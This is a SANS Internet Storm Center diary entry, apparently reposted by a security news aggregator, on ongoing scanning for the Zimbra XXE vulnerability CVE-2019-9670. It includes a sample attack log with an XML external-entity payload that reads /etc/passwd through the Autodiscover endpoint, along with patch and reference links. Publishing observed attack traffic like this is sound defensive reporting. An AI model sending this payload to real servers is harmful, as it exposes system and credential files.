[SANS ISC] CVE-2019-9670: Zimbra Collaboration Suite XXE vulnerability, (Sat, Jun 26th)

This XML External Entity injection (XXE) vulnerability disclosed in March 2019 is still actively scanned for a vulnerable mailboxd component in Synacor Zimbra Collaboration Suite 8.7.x before 8.7.11p10. This exploit attempts to read the Zimbra configuration file that contains an LDAP password for the zimbra account.

Sample Log

20210625-144918: data
POST /Autodiscover/Autodiscover.xml HTTP/1.1
Host: XX.XX.28.221:443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Content-Length: 314
Content-Type: application/xml
Accept-Encoding: gzip
Connection: close
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM “file:///etc/passwd”>]>
<Autodiscover xmlns=”http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a”>

Indicators (AS Name: HOSTWAY-AS, SELECTEL)

Information on the patch is available here [3].

[1] https://nvd.nist.gov/vuln/detail/CVE-2019-9670
[2] https://bugzilla.zimbra.com/show_bug.cgi?id=109129
[3] https://wiki.zimbra.com/wiki/Zimbra_Releases/8.7.11/P10
[4] https://programmersought.com/article/89298322178/
[5] https://www.shodan.io/search?query=zimbra
[6] https://isc.sans.edu/forums/diary/Is+XXE+the+new+SQLi/17375
[7] https://isc.sans.edu/forums/diary/Blindly+confirming+XXE/19257

Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Source: Read More (SANS Internet Storm Center, InfoCON: green)

You might be interested in …

[ZDNet] SolarWinds releases security advisory after Microsoft says customers ‘targeted’ through vulnerability

All posts, ZDNet

In an advisory over the weekend, SolarWinds said the vulnerability affects the Serv-U Managed File Transfer and Serv-U Secure FTP. Source: Read More (Latest topics for ZDNet in Security)

Read More

[ZDNet] Google launches new reward program for Tsunami Security Scanner

All posts, ZDNet

The program offers up to $3,133 in financial rewards. Source: Read More (Latest topics for ZDNet in Security)

Read More

[ESET] Scams target families of missing persons, FBI warns

All posts, ESET feed

Con artists use social media to find and target victims for various nefarious ends, including to extort relatives of missing persons The post Scams target families of missing persons, FBI warns appeared first on WeLiveSecurity Source: Read More (WeLiveSecurity)

Read More

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.